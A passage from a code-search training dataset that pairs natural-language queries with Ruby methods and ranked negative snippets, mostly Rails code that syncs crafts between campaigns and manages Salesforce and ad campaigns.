"0.5372486",
"0.53677773",
"0.5363608",
"0.5363608",
"0.53591657",
"0.53591657",
"0.5358581",
"0.533505",
"0.533505",
"0.5330106",
"0.5317979",
"0.5317979",
"0.5317979",
"0.5317979",
"0.5317979",
"0.5317979",
"0.53136533",
"0.5310202",
"0.5310202",
"0.52975726",
"0.52916175",
"0.5284245",
"0.5284245",
"0.52825475",
"0.5278049",
"0.52731776",
"0.5266039",
"0.52597934",
"0.52592486",
"0.5256015",
"0.5255857",
"0.52543604",
"0.5251554",
"0.5250413",
"0.5249036",
"0.52476025",
"0.5241074",
"0.5241074",
"0.5241074",
"0.5241074",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.52352846",
"0.523248",
"0.523248",
"0.523248"
] |
0.0
|
-1
|
update target craft sync attrs after moving a sync'd craft
|
def update_sync_targets old_campaign_id, new_campaign_id
sync_with_campaigns = sync_targets
return if sync_with_campaigns.blank?
target_craft = Craft.where(:campaign_id => sync_with_campaigns, :name => self.name)
target_craft.each do |c|
next if c.sync[:with].blank?
c.sync = {:with => c.sync[:with].map{|id| id.eql?(old_campaign_id) ? new_campaign_id : id } }
c.save
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_removed_from_list \n if @removed_from_sync_list && !@removed_from_sync_list.blank?\n rem_craft = Craft.where(:name => self.name, :campaign_id => @removed_from_sync_list)\n rem_craft.each do |c|\n c.sync = {:with => c.sync[:with].select{|id| ![self.campaign_id, self.sync[:with]].flatten.include?(id) } }\n c.save\n end\n end\n end",
"def post_sync\n reset_movement\n reset_flags\n end",
"def update!(**args)\n @source_id = args[:source_id] if args.key?(:source_id)\n @sync1 = args[:sync1] if args.key?(:sync1)\n @sync2 = args[:sync2] if args.key?(:sync2)\n @sync3 = args[:sync3] if args.key?(:sync3)\n @sync4 = args[:sync4] if args.key?(:sync4)\n end",
"def pre_sync\n #move\n end",
"def sync_volume_attributes\n step(\" updating volume attributes\")\n end",
"def action_sync\n assert_target_directory_valid!\n if ::File.exist?(::File.join(@new_resource.destination, 'CVS'))\n Chef::Log.debug \"#{@new_resource} update\"\n converge_by(\"sync #{@new_resource.destination} from #{@new_resource.repository}\") do\n run_command(run_options(:command => sync_command))\n Chef::Log.info \"#{@new_resource} updated\"\n end\n else\n action_checkout\n end\n end",
"def sync= sync_list\n cur_list = sync \n @removed_from_sync_list = cur_list[:with] - sync_list[:with] if sync_list[:with] && cur_list[:with]\n sync_list[:with] = sync_list[:with].select{|id| id != self.campaign_id } if sync_list[:with]\n super(sync_list.to_json)\n end",
"def sync(source_entry)\n [ :entry_status, :entry_author_id, :entry_allow_comments, :entry_allow_pings, \n :entry_convert_breaks, :entry_title, :entry_excerpt, :entry_text, :entry_text_more,\n :entry_to_ping_urls, :entry_pinged_urls, :entry_keywords, :entry_tangent_cache,\n :entry_created_on, :entry_modified_on, :entry_created_by, :entry_modified_by,\n :entry_basename, :entry_week_number ].each do |attribute|\n self[attribute] = source_entry[attribute]\n end\n\n # Sync placements ONLY if this entry has been previously saved.\n unless self.new_record?\n # Add or update placements.\n source_entry.placements.each do |source_placement|\n # Category may not exist yet; copy if so.\n target_category = MovableType::AR::Category.find(:first, :conditions => { :category_blog_id => self.entry_blog_id, :category_label => source_placement.category.category_label })\n target_category = MovableType::AR::Category.create(self.blog, source_placement.category) if target_category.blank?\n target_placement = self.placements.find(:first, :conditions => { :placement_category_id => target_category.category_id })\n target_placement.blank? ?\n self.placements << MovableType::AR::Placement.create(self, source_placement) :\n target_placement.sync!(source_placement)\n end\n \n # Remove old placements.\n if self.placements.size > source_entry.placements.size\n self.placements.each do |target_placement|\n source_category = MovableType::AR::Category.find(:first, :conditions => { :category_blog_id => source_entry.entry_blog_id, :category_label => target_placement.category.category_label })\n if source_category.blank?\n self.placements.delete(target_placement)\n next\n end\n \n source_placement = source_entry.placements.find(:first, :conditions => { :placement_category_id => source_category.category_id })\n self.placements.delete(target_placement) if source_placement.blank?\n end\n end\n \n # Comments need to be synchronized separately (should always flow from production -> beta).\n end\n end",
"def update_attributes_and_sync(attributes)\n if update_attributes(attributes)\n update_salesforce_attributes(attributes)\n end\n end",
"def sync_mirrors_with_regulated_box\n if respond_to?(:mirrors) && is_mirrored_with_regulated_box\n mirrors.each { |mirror| mirror.update_attributes(regulated: self.regulated) }\n end\n end",
"def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end",
"def sync!(desired)\n # Ensure that the telegraf.conf item is always mounted\n items = [\n {\n key: 'telegraf.conf',\n path: 'telegraf.conf'\n },\n desired\n ].sort_by { |item| item[:path] }\n\n cm_volume = {\n name: @volume,\n configMap: {\n name: @configmap,\n defaultMode: 420,\n items: items\n }\n }\n\n patch = {\n spec: {\n template: {\n spec: {\n volumes: [cm_volume]\n }\n }\n }\n }\n\n @api\n .api('apps/v1')\n .resource('deployments', namespace: @ns)\n .merge_patch(@deployment, patch)\n\n # Refresh the current state\n fetch!\n end",
"def update!(**args)\n @target_name = args[:target_name] if args.key?(:target_name)\n @workflow_guid = args[:workflow_guid] if args.key?(:workflow_guid)\n @zone_id = args[:zone_id] if args.key?(:zone_id)\n end",
"def update!(**args)\n @extra = args[:extra] if args.key?(:extra)\n @general_extra = args[:general_extra] if args.key?(:general_extra)\n @target_class = args[:target_class] if args.key?(:target_class)\n @target_class_name = args[:target_class_name] if args.key?(:target_class_name)\n @target_value = args[:target_value] if args.key?(:target_value)\n @target_weight = args[:target_weight] if args.key?(:target_weight)\n @weight = args[:weight] if args.key?(:weight)\n end",
"def sync\n if not cloned?\n clone\n else\n update\n end\n end",
"def old_sync=(_arg0); end",
"def update\n colourable_update\n movable_update\n end",
"def sync=(arg0)\n end",
"def update!(**args)\n @target = args[:target] if args.key?(:target)\n end",
"def touch_sync\n self.lastSyncAt = Time.now if self.respond_to?(:lastSyncAt=)\n end",
"def update\n update_move # Update movements (Basic Modules)\n update_smove # Update smooth movement (Basic Modules)\n update_rotation # Update rotation\n @shadow_point.update_move\n update_sequence\n end",
"def arm_sync\n val = wordread(:sync_arm)\n val &= ~1 # Turn off desired bit\n wordwrite(:sync_arm, val)\n wordwrite(:sync_arm, val | 1)\n wordwrite(:sync_arm, val)\n end",
"def update() end",
"def old_sync; end",
"def update!(**args)\n @cluster_support_transfer_relation = args[:cluster_support_transfer_relation] if args.key?(:cluster_support_transfer_relation)\n @composed_from_relation = args[:composed_from_relation] if args.key?(:composed_from_relation)\n @equivalent_relation = args[:equivalent_relation] if args.key?(:equivalent_relation)\n @mdvc_relation = args[:mdvc_relation] if args.key?(:mdvc_relation)\n @mid = args[:mid] if args.key?(:mid)\n @support_transfer_relation = args[:support_transfer_relation] if args.key?(:support_transfer_relation)\n @target_is_stbr_source = args[:target_is_stbr_source] if args.key?(:target_is_stbr_source)\n end",
"def sync!(source_placement)\n self.sync(source_placement)\n self.save\n end",
"def sync=\n end",
"def update!(**args)\n @data_set = args[:data_set] if args.key?(:data_set)\n @dirty = args[:dirty] if args.key?(:dirty)\n @source_id_exist = args[:source_id_exist] if args.key?(:source_id_exist)\n @sync_info = args[:sync_info] if args.key?(:sync_info)\n end",
"def update!(**args)\n @asset = args[:asset] if args.key?(:asset)\n @interaction_on_this_asset = args[:interaction_on_this_asset] if args.key?(:interaction_on_this_asset)\n end",
"def update_asset\n\n Rails.logger.debug \"Updating the recorded location for asset = #{transam_asset.object_key}\"\n\n if transam_asset.location_updates.empty?\n transam_asset.location_id = nil\n else\n event = transam_asset.location_updates.last\n transam_asset.location_id = event.parent_id\n end\n # save changes to this asset\n transam_asset.save\n end",
"def sync_sf_to_local(sync_query, sync_fields, remote_sobject, force = false)\n # local_object = sync_query.local_model.constantize.find_or_initialize_by(:sf_id => remote_sobject.Id)\n select_object = @local_objects.select {|lo| lo.sf_id == remote_sobject.Id} \n if select_object.empty?\n local_object = sync_query.local_model.constantize.new(:sf_id => remote_sobject.Id)\n else\n local_object = select_object.first\n end\n # Sync only if the Salesforce object is newer than the local object \n unless force == true\n diff = different?(local_object, remote_sobject, sync_fields)\n sf_newer = sobject_newer?(remote_sobject, local_object)\n print \"Different? #{diff}\\n\"\n end\n \n if (diff && sf_newer) || force == true \n sync_fields.each do |field|\n # Update the local field if it's value is different from the value in Salesforce\n local_object[\"#{field.local_field_name}\"] != remote_sobject[\"#{field.sf_field_name}\"] ? local_object[\"#{field.local_field_name}\"] = remote_sobject[\"#{field.sf_field_name}\"] : nil\n # If Model has a last_sync_at column add the current timestamp\n if local_object.has_attribute?(:last_sync_at) && local_object.has_changes_to_save?\n local_object.last_sync_at = Time.now\n end \n end\n if local_object.has_changes_to_save?\n local_object.save(:validate => false) ? puts(local_object.to_s) : 'error' \n end\n end \n end",
"def gen_sw_sync\n val = wordread(:sync_arm)\n val &= ~0x10 # Turn off desired bit\n wordwrite(:sync_arm, val)\n wordwrite(:sync_arm, val | 0x10)\n wordwrite(:sync_arm, val)\n end",
"def update_target_cursor\n @cursor.update_target(@active_battler, @using_skill)\n end",
"def sync=(p0) end",
"def sync=(p0) end",
"def sync=(p0) end",
"def update!(**args)\n @support_transfer_source = args[:support_transfer_source] if args.key?(:support_transfer_source)\n @support_transfer_target = args[:support_transfer_target] if args.key?(:support_transfer_target)\n end",
"def sync\n current = @resource.stat ? @resource.stat.mode : 0644\n set(desired_mode_from_current(@should[0], current).to_s(8))\n end",
"def sync\n current = @resource.stat ? @resource.stat.mode : 0644\n set(desired_mode_from_current(@should[0], current).to_s(8))\n end",
"def update!(**args)\n @deployed_model = args[:deployed_model] if args.key?(:deployed_model)\n @update_mask = args[:update_mask] if args.key?(:update_mask)\n end",
"def update!(**args)\n @group_details_metadata = args[:group_details_metadata] if args.key?(:group_details_metadata)\n @group_link_sharing_enabled = args[:group_link_sharing_enabled] if args.key?(:group_link_sharing_enabled)\n @initiator = args[:initiator] if args.key?(:initiator)\n @initiator_type = args[:initiator_type] if args.key?(:initiator_type)\n @name = args[:name] if args.key?(:name)\n @rename_metadata = args[:rename_metadata] if args.key?(:rename_metadata)\n @visibility = args[:visibility] if args.key?(:visibility)\n end",
"def mark_as_modified\r\n update_attribute :synchronized, false\r\n end",
"def update ; end",
"def update!(**args)\n @crowding_attribute = args[:crowding_attribute] if args.key?(:crowding_attribute)\n end",
"def update!(**args)\n @crowding_attribute = args[:crowding_attribute] if args.key?(:crowding_attribute)\n end",
"def update_from(other)\n @permissions = other.permissions\n @name = other.name\n @hoist = other.hoist\n @colour = other.colour\n @position = other.position\n @managed = other.managed\n end",
"def update!(**args)\n @barrier_materials = args[:barrier_materials] if args.key?(:barrier_materials)\n @crossing_pattern = args[:crossing_pattern] if args.key?(:crossing_pattern)\n @linear_pattern = args[:linear_pattern] if args.key?(:linear_pattern)\n end",
"def sync_with campaign\n campaign_id = campaign.id if campaign.is_a?(Campaign) \n campaign_id ||= campaign\n\n sync_list = self.sync\n sync_list[:with] ||= []\n sync_list[:with] << campaign_id\n self.sync = sync_list\n self.save\n end",
"def sync!(source_entry)\n self.sync(source_entry)\n self.save\n end",
"def update!(**args)\n @cast_device_source = args[:cast_device_source] if args.key?(:cast_device_source)\n @cast_device_type = args[:cast_device_type] if args.key?(:cast_device_type)\n @creation_timestamp_ms = args[:creation_timestamp_ms] if args.key?(:creation_timestamp_ms)\n @device_id = args[:device_id] if args.key?(:device_id)\n @device_identifier = args[:device_identifier] if args.key?(:device_identifier)\n @name = args[:name] if args.key?(:name)\n @quantification = args[:quantification] if args.key?(:quantification)\n end",
"def update_local\n # TODO\n end",
"def check_base_and_sync\n self.sanitize_text\n\n if self.is_maverick?\n Rails.logger.info(\"Updating maverick: #{self.id}\")\n self.attributes = self.base_card.attributes.reject{|k,v| [\"id\",\"house\",\"parent_id\",\"uuid\",\"created_at\",\"house_id\",\"is_maverick\"].include?(k)}\n end\n end",
"def update!(**args)\n @local = args[:local] if args.key?(:local)\n @small = args[:small] if args.key?(:small)\n end",
"def sync(srcDir, dstDir)\n end",
"def update!(**args)\n @params = args[:params] if args.key?(:params)\n @raw_target = args[:raw_target] if args.key?(:raw_target)\n @target = args[:target] if args.key?(:target)\n end",
"def setup_target_z\n return unless PONY::ERRNO::check_sequence(current_act)\n current_action_targets.each do |target|\n target.lock_z = @acts[1]\n end\n end",
"def sync_file_assets_state\n if inner_object.changed? \n file_assets.each do |file_asset|\n unless file_asset.state == state \n file_asset.inner_object.state = state\n file_asset.save\n end \n end\n end\n end",
"def update_tsbs_extras\n @anim_state.update\n @anim_guard.update\n @shadow.update\n @spr_icon.update\n end",
"def sync() end",
"def sync() end",
"def sync() end",
"def update!(**args)\n @deployed_model_id = args[:deployed_model_id] if args.key?(:deployed_model_id)\n @traffic_split = args[:traffic_split] if args.key?(:traffic_split)\n end",
"def update\n verify_no_uncommitted_merge\n verify_valid_update\n \n check_unknown if force\n check_collision if false # case-insensitive file-system? seriously? (uh... mac os x ring a bell?)\n \n @actions = []\n \n forget_removed\n manifest_merge\n \n stats = apply_updates\n record_updates\n stats\n end",
"def sync=(p1)\n #This is a stub, used for indexing\n end",
"def set_target_updated_on_save\n self.target_updated_at = target.updated_at\n end",
"def update!(**args)\n @owner = args[:owner] if args.key?(:owner)\n @source = args[:source] if args.key?(:source)\n end",
"def update\n \n end",
"def update!(**args)\n @is_isolated = args[:is_isolated] if args.key?(:is_isolated)\n @soft_modifier_collection = args[:soft_modifier_collection] if args.key?(:soft_modifier_collection)\n @text_is_generated = args[:text_is_generated] if args.key?(:text_is_generated)\n end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update_origin_plates\n # operations that have not yet errored are guarenteed to correspond to correct colonies on the original plates.\n # we will update the associations of the origin plate for each op to reflect this new verified colony\n operations.running.select { |op| op.input(\"PCR\").sample_type.name != 'Plasmid' }.each do |op|\n # Use association map to cleanly deal with data associated to parts of a collection\n colony_pick = op.input(\"PCR\").part.get(:colony_pick).to_i\n origin_plate_id = op.input(\"PCR\").part.get(:origin_plate_id).to_i\n \n if origin_plate_id && Item.exists?(origin_plate_id) && colony_pick\n origin_plate = Item.find(origin_plate_id)\n correct_colonies = origin_plate.get(:correct_colonies) ? origin_plate.get(:correct_colonies) : []\n \n # rely on idempotence of .to_s to normalize correct \n # colony association into an array regardless\n # of whether it started in array or string format.\n correct_colonies.to_s.chomp(']').chomp!('[') #convert Array to string representation if Array and remove brackets (if string: stays the same)\n correct_colonies = correct_colonies.split(\",\") #string array back to array\n \n correct_colonies.push \"c#{colony_pick}\"\n origin_plate.associate(:correct_colonies, correct_colonies)\n end\n end\n end",
"def update!(**args)\n @delay = args[:delay] if args.key?(:delay)\n @frame_target_denies_framing = args[:frame_target_denies_framing] if args.key?(:frame_target_denies_framing)\n @is_download = args[:is_download] if args.key?(:is_download)\n @is_rendering_redirect = args[:is_rendering_redirect] if args.key?(:is_rendering_redirect)\n @meta_redirect_from_trawler = args[:meta_redirect_from_trawler] if args.key?(:meta_redirect_from_trawler)\n @type = args[:type] if args.key?(:type)\n end",
"def update_metadata(direction, metadata)\n end",
"def update!(**args)\n @effective = args[:effective] if args.key?(:effective)\n @local = args[:local] if args.key?(:local)\n end",
"def update!(**args)\n @deployed_model = args[:deployed_model] if args.key?(:deployed_model)\n @traffic_split = args[:traffic_split] if args.key?(:traffic_split)\n end",
"def update\n return if $game_temp.global_freeze && battle_phase != :skill\n update_move # Update movements (Basic Modules)\n update_smove # Update smooth movement (Basic Modules)\n update_rotation # Update rotation\n @shadow_point.update_move # Shadow reposition\n if fiber_obj\n fiber_obj.resume # Update Fiber thread\n end\n end",
"def update!(**args)\n @compatible = args[:compatible] if args.key?(:compatible)\n @reason = args[:reason] if args.key?(:reason)\n end",
"def update!(**args)\n @deployed_model = args[:deployed_model] if args.key?(:deployed_model)\n end",
"def update!(**args)\n @deployed_model = args[:deployed_model] if args.key?(:deployed_model)\n end",
"def update!(**args)\n @state_sync_method = args[:state_sync_method] if args.key?(:state_sync_method)\n end",
"def update_tsbs_extra\n @focus_bg.update\n @cutin.update\n @battle_plane.update\n @one_anim.update\n end",
"def reload\n attributes.each_key { |key| send \"#{key}=\", target.send(key) }\n end",
"def update!(**args)\n @material = args[:material] if args.key?(:material)\n end",
"def update!(**args)\n @raw_final_target_from_rendering = args[:raw_final_target_from_rendering] if args.key?(:raw_final_target_from_rendering)\n @raw_final_target_from_trawler = args[:raw_final_target_from_trawler] if args.key?(:raw_final_target_from_trawler)\n @raw_redirect_chain_from_rendering = args[:raw_redirect_chain_from_rendering] if args.key?(:raw_redirect_chain_from_rendering)\n @rendering_redirect_limit = args[:rendering_redirect_limit] if args.key?(:rendering_redirect_limit)\n end",
"def sync(src_object, dest_object=nil) # LOCAL_DIR s3://BUCKET[/PREFIX] or s3://BUCKET[/PREFIX] LOCAL_DIR\n send_command \"sync\", src_object, dest_object\n end",
"def transfer_ownership_impl!(player)\n old_owner = Player.minimal(owner_id)\n self.owner = player\n save!\n\n as_json = self.as_json(:mode => :minimal)\n new_owner = player.as_json(:mode => :minimal)\n\n member_ids.each do |member_id|\n Notification.create_for_alliance_owner_changed(\n member_id, as_json, old_owner, new_owner\n )\n end\n\n ControlManager.instance.alliance_owner_changed(self, player)\n\n true\n end",
"def freeze_attribute\n @cast.freeze_attribute :self\n @cast.save\n render :partial => 'update_cast'\n end",
"def sync_dor\n items_list = Was::Utilities::DorUtilities.new(Settings.crawl_apos).get_items_list\n\n items_list.each do |item|\n crawl_item = CrawlItem.find_by job_directory: item[:title]\n crawl_item&.update(druid_id: item[:druid])\n end\n end",
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def update(attrs)\n super(attrs)\n end",
"def sync\n @game.sync\n end",
"def update!(**args)\n @new_value = args[:new_value] if args.key?(:new_value)\n @original_value_pattern = args[:original_value_pattern] if args.key?(:original_value_pattern)\n @target_group_kinds = args[:target_group_kinds] if args.key?(:target_group_kinds)\n @target_json_path = args[:target_json_path] if args.key?(:target_json_path)\n @target_namespaces = args[:target_namespaces] if args.key?(:target_namespaces)\n end"
] |
[
"0.63234824",
"0.5925684",
"0.58874685",
"0.58519167",
"0.5642389",
"0.5482552",
"0.54771453",
"0.5442153",
"0.54298294",
"0.5409485",
"0.53230095",
"0.53222114",
"0.5284291",
"0.5212498",
"0.52035415",
"0.51966465",
"0.5182097",
"0.5177199",
"0.51751125",
"0.5165404",
"0.5156304",
"0.51303166",
"0.51300406",
"0.51152164",
"0.51076454",
"0.51059234",
"0.51037353",
"0.5103164",
"0.5080227",
"0.50761914",
"0.5055493",
"0.5052314",
"0.5042308",
"0.50309944",
"0.50309944",
"0.50309944",
"0.5027029",
"0.50159144",
"0.5014824",
"0.5002603",
"0.49979156",
"0.49971646",
"0.49963638",
"0.4985622",
"0.4985622",
"0.49809006",
"0.4973855",
"0.4973051",
"0.49672526",
"0.49661928",
"0.4965819",
"0.4962829",
"0.49625096",
"0.49601063",
"0.4954377",
"0.49532905",
"0.49509925",
"0.49391276",
"0.49320015",
"0.49320015",
"0.49320015",
"0.4929942",
"0.4927439",
"0.49259803",
"0.49248216",
"0.4923492",
"0.49218196",
"0.49194407",
"0.4917975",
"0.4917975",
"0.4917975",
"0.4917975",
"0.4917975",
"0.4917975",
"0.4917975",
"0.4917975",
"0.49152127",
"0.49122995",
"0.49107233",
"0.49081555",
"0.4908022",
"0.49071047",
"0.4904366",
"0.49042585",
"0.49042585",
"0.4903946",
"0.4903838",
"0.4899929",
"0.48966053",
"0.4894985",
"0.48925424",
"0.4891455",
"0.4891136",
"0.48859084",
"0.48758698",
"0.48758698",
"0.48758698",
"0.48758698",
"0.4871741",
"0.4871019"
] |
0.6838039
|
0
|
takes either a Campaign object or an id for a campaign and adds it to the crafts sync[:with] list
|
def sync_with campaign
campaign_id = campaign.id if campaign.is_a?(Campaign)
campaign_id ||= campaign
sync_list = self.sync
sync_list[:with] ||= []
sync_list[:with] << campaign_id
self.sync = sync_list
self.save
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_sync_targets old_campaign_id, new_campaign_id\n sync_with_campaigns = sync_targets\n return if sync_with_campaigns.blank?\n\n target_craft = Craft.where(:campaign_id => sync_with_campaigns, :name => self.name)\n target_craft.each do |c|\n next if c.sync[:with].blank? \n c.sync = {:with => c.sync[:with].map{|id| id.eql?(old_campaign_id) ? new_campaign_id : id } }\n c.save\n end\n end",
"def update_removed_from_list \n if @removed_from_sync_list && !@removed_from_sync_list.blank?\n rem_craft = Craft.where(:name => self.name, :campaign_id => @removed_from_sync_list)\n rem_craft.each do |c|\n c.sync = {:with => c.sync[:with].select{|id| ![self.campaign_id, self.sync[:with]].flatten.include?(id) } }\n c.save\n end\n end\n end",
"def add_to_campaign(contact_id, campaign_id, additional_fields = {})\n cm = additional_fields\n cm['CampaignId'] = campaign_id\n\n if cm['CampaignId']\n cm['ContactId'] = contact_id\n\n begin\n cm = client.create('CampaignMember', cm)\n Rails.cache.delete(\"salesforce/user_campaigns/#{contact_id}\")\n return cm['Id']\n rescue Databasedotcom::SalesForceError => e\n # If this failure happens, it is almost certainly just because they\n # are already in the campaign \n # logger.debug \"#{e} #{contact_id} #{campaign_id}\"\n end\n end\n\n nil\n end",
"def contact_add_to_campaign(contact_id, campaign_id)\n response = xmlrpc('ContactService.addToCampaign', contact_id, campaign_id)\n end",
"def add_ids_to_campaignmember(obj,instance_url,access_token)\n json_payload = nil\n campaign_id = obj[\"event\"][\"id\"]\n contact_email = obj[\"profile\"][\"email\"]\n contact_fn = escape_characters(obj[\"profile\"][\"first_name\"])\n contact_ln = escape_characters(obj[\"profile\"][\"last_name\"])\n contact_email = obj[\"order\"][\"email\"] if contact_email.nil?\n contact_email = escape_characters(contact_email)\n checked_in = nil\n checked_in = \"Responded\" if obj[\"checked_in\"]\n campaign_search_string =\n url_encode(\n \"FIND {#{campaign_id}}\" \\\n \" IN ALL FIELDS\" \\\n \" RETURNING Campaign(Id)\")\n contact_search_string =\n url_encode(\n \"FIND {#{contact_fn}\" \\\n \" AND #{contact_ln}\" \\\n \" AND #{contact_email}}\" \\\n \" IN ALL FIELDS\" \\\n \" RETURNING Contact(Id)\")\n campaign_base_uri = \"#{instance_url}/services/data/v29.0/search/?q=#{campaign_search_string}\"\n begin\n campaign_query_response = rest_call(\"get\",campaign_base_uri,json_payload,access_token)\n @json_campaign = JSON.parse(campaign_query_response)[0]\n end until !@json_campaign.nil?\n contact_base_uri = \"#{instance_url}/services/data/v29.0/search/?q=#{contact_search_string}\"\n contact_query_response = rest_call(\"get\",contact_base_uri,json_payload,access_token)\n json_contact = JSON.parse(contact_query_response)[0]\n unless json_contact.nil?\n obj.store(\"ContactId\",json_contact[\"Id\"])\n obj.store(\"CampaignId\",@json_campaign[\"Id\"])\n obj.store(\"Status\",checked_in) unless checked_in.nil?\n else\n obj = nil\n end\n return obj\n end",
"def sync= sync_list\n cur_list = sync \n @removed_from_sync_list = cur_list[:with] - sync_list[:with] if sync_list[:with] && cur_list[:with]\n sync_list[:with] = sync_list[:with].select{|id| id != self.campaign_id } if sync_list[:with]\n super(sync_list.to_json)\n end",
"def assign_campaigns\n # iterate through the matching campaigns and determine whether their requirements have been met\n matching_campaigns.each do |campaign|\n campaign.actions << self\n # associate the campaign with the user if all of the campaign requirements have been met\n if campaign.requirements_met_by_individual?(user) && !user.campaigns.include?(campaign)\n user.campaigns << campaign\n end\n end\n end",
"def create\n return false unless self.valid? \n \n # set defaults for budget for campaign.create only\n self.budget = budget.reverse_merge( period: 'DAILY', delivery_method: 'STANDARD' )\n\n # create basic campaign attributes\n operand = Hash[\n [ :name, :status, :start_date, :end_date,\n :budget, :bidding_strategy, :network_setting, :settings ].map do |k|\n [ k.to_sym, self.send(k) ] if self.send(k)\n end.compact\n ]\n\n # set default values for settings (for create only - should we set it also for update?)\n # PS: KeywordMatchSetting is required since 201206\n operand[:settings] ||= []\n unless operand[:settings].map { |s| s[:xsi_type] }.include?('KeywordMatchSetting')\n operand[:settings] << { :xsi_type => 'KeywordMatchSetting', :opt_in => false }\n end\n\n response = self.mutate( \n operator: 'ADD', \n operand: operand\n )\n\n check_for_errors(self)\n\n self.id = response[:value].first[:id] rescue nil\n \n if criteria && criteria.size > 0\n new_criteria = Adapi::CampaignCriterion.create(\n campaign_id: @id,\n criteria: criteria\n )\n\n check_for_errors(new_criteria)\n end\n\n ad_groups.each do |ad_group_data|\n ad_group = Adapi::AdGroup.create(\n ad_group_data.merge( campaign_id: @id )\n )\n\n check_for_errors(ad_group, :prefix => \"AdGroup \\\"#{ad_group[:id] || ad_group[:name]}\\\"\")\n end\n\n self.errors.empty?\n\n rescue CampaignError => e\n false\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\r\n\t\t@campaign = Campaign.find(params[:id])\r\n\tend",
"def campaigns(id = nil, opts = {})\n load_resource(Campaign, id, opts)\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n end",
"def set_campaign\n @campaign = authorize Campaign.find(params[:id])\n end",
"def set_campaign\n begin\n @campaign = Campaign.find(params[:id])\n\n # checks if the requested campaign belongs to the current organization\n if current_organization.campaigns.include?(Campaign.find(params[:id]))==false\n # head :unauthorized\n render json: { errors: 'Not your campaign' }, status: :unauthorized\n end\n rescue ActiveRecord::RecordNotFound\n render json: { errors: 'Campaign not found' }, status: :not_found\n end\n\n end",
"def set_campaign\n\t\t@campaign = Campaign.find(params[:id])\n\tend",
"def update_campaign(access_token, campaign)\n url = Util::Config.get('endpoints.base_url') +\n sprintf(Util::Config.get('endpoints.campaign'), campaign.id)\n url = build_url(url)\n payload = campaign.to_json\n response = RestClient.put(url, payload, get_headers(access_token))\n Components::Campaign.create(JSON.parse(response.body))\n end",
"def set_campaign\n @campaign = Campaign.find(params[:campaign_id])\n end",
"def set_campaign\n @campaign = Campaign.find(params[:campaign_id])\n end",
"def upsert_campaign_trackings(creative_tracking_hour, date, campaign_id)\n attributes = get_attr_upsert_campaign(creative_tracking_hour.attributes)\n\n campaign_tracking = CampaignTracking.where(campaign_id: BSON::ObjectId.from_string(campaign_id.to_s), date: date)\n if campaign_tracking.present?\n inc, add_to_set = build_upsert_attributes({}, {}, attributes)\n result = campaign_tracking.update(\"$inc\" => inc, \"$addToSet\" => add_to_set).ok?\n\n upsert_campaign(campaign_id, creative_tracking_hour) if result\n return result\n else\n result = CampaignTracking.create(attributes.merge({\n campaign_id: BSON::ObjectId.from_string(campaign_id.to_s), date: date})).valid?\n\n upsert_campaign(campaign_id, creative_tracking_hour) if result\n return result\n end\n\n # rescue\n # false\n end",
"def set_campaign\n logged_in_user \n @campaign = Campaign.find(params[:id])\n end",
"def opportunity_campaign_select(options = {})\n options[:selected] ||= @opportunity.campaign_id || 0\n selected_campaign = Campaign.find_by_id(options[:selected])\n campaigns = ([selected_campaign] + Campaign.my.order(:name).limit(25)).compact.uniq\n collection_select :opportunity, :campaign_id, campaigns, :id, :name, options,\n \"data-placeholder\": t(:select_a_campaign),\n \"data-url\": auto_complete_campaigns_path(format: 'json'),\n style: \"width:330px; display:none;\",\n class: 'ajax_chosen'\n end",
"def set_campaign\n @campaign = Campaign.find params[:campaign_id]\n end",
"def set_campaign\n @campaign = Campaign.find(params[:campaign_id])\n end",
"def campaign; Campaign.get(self.campaign_id); end",
"def campaign; Campaign.get(self.campaign_id); end",
"def upsert_creative_trackings(creative_tracking_hour, date, campaign_id, ad_group_id, creative_id)\n attributes = get_attr_upsert_creative(creative_tracking_hour.attributes)\n\n creative_tracking = CreativeTracking.where(creative_id: BSON::ObjectId.from_string(creative_id.to_s), date: date)\n if creative_tracking.present?\n inc, add_to_set = build_upsert_attributes({}, {}, attributes)\n result = creative_tracking.update({\"$inc\" => inc, \"$addToSet\" => add_to_set}).ok?\n\n upsert_creative(creative_id, creative_tracking_hour) if result\n return result\n else\n result = CreativeTracking.create(attributes.merge({\n campaign_id: BSON::ObjectId.from_string(campaign_id.to_s),\n ad_group_id: BSON::ObjectId.from_string(ad_group_id.to_s),\n creative_id: BSON::ObjectId.from_string(creative_id.to_s),\n date: date})).valid?\n\n upsert_creative(creative_id, creative_tracking_hour) if result\n return result\n end\n\n # rescue\n # false\n end",
"def set_campaign\n @campaign = Campaign.find(params[:id])\n # @user_roles = UserRole.where(role_id: 2)\n #@specialists = User.joins(:user_roles)\n end",
"def get_contact_campaigns(id)\n return make_request(\"#{self.endpoint}/#{id}/campaigns\")\n end",
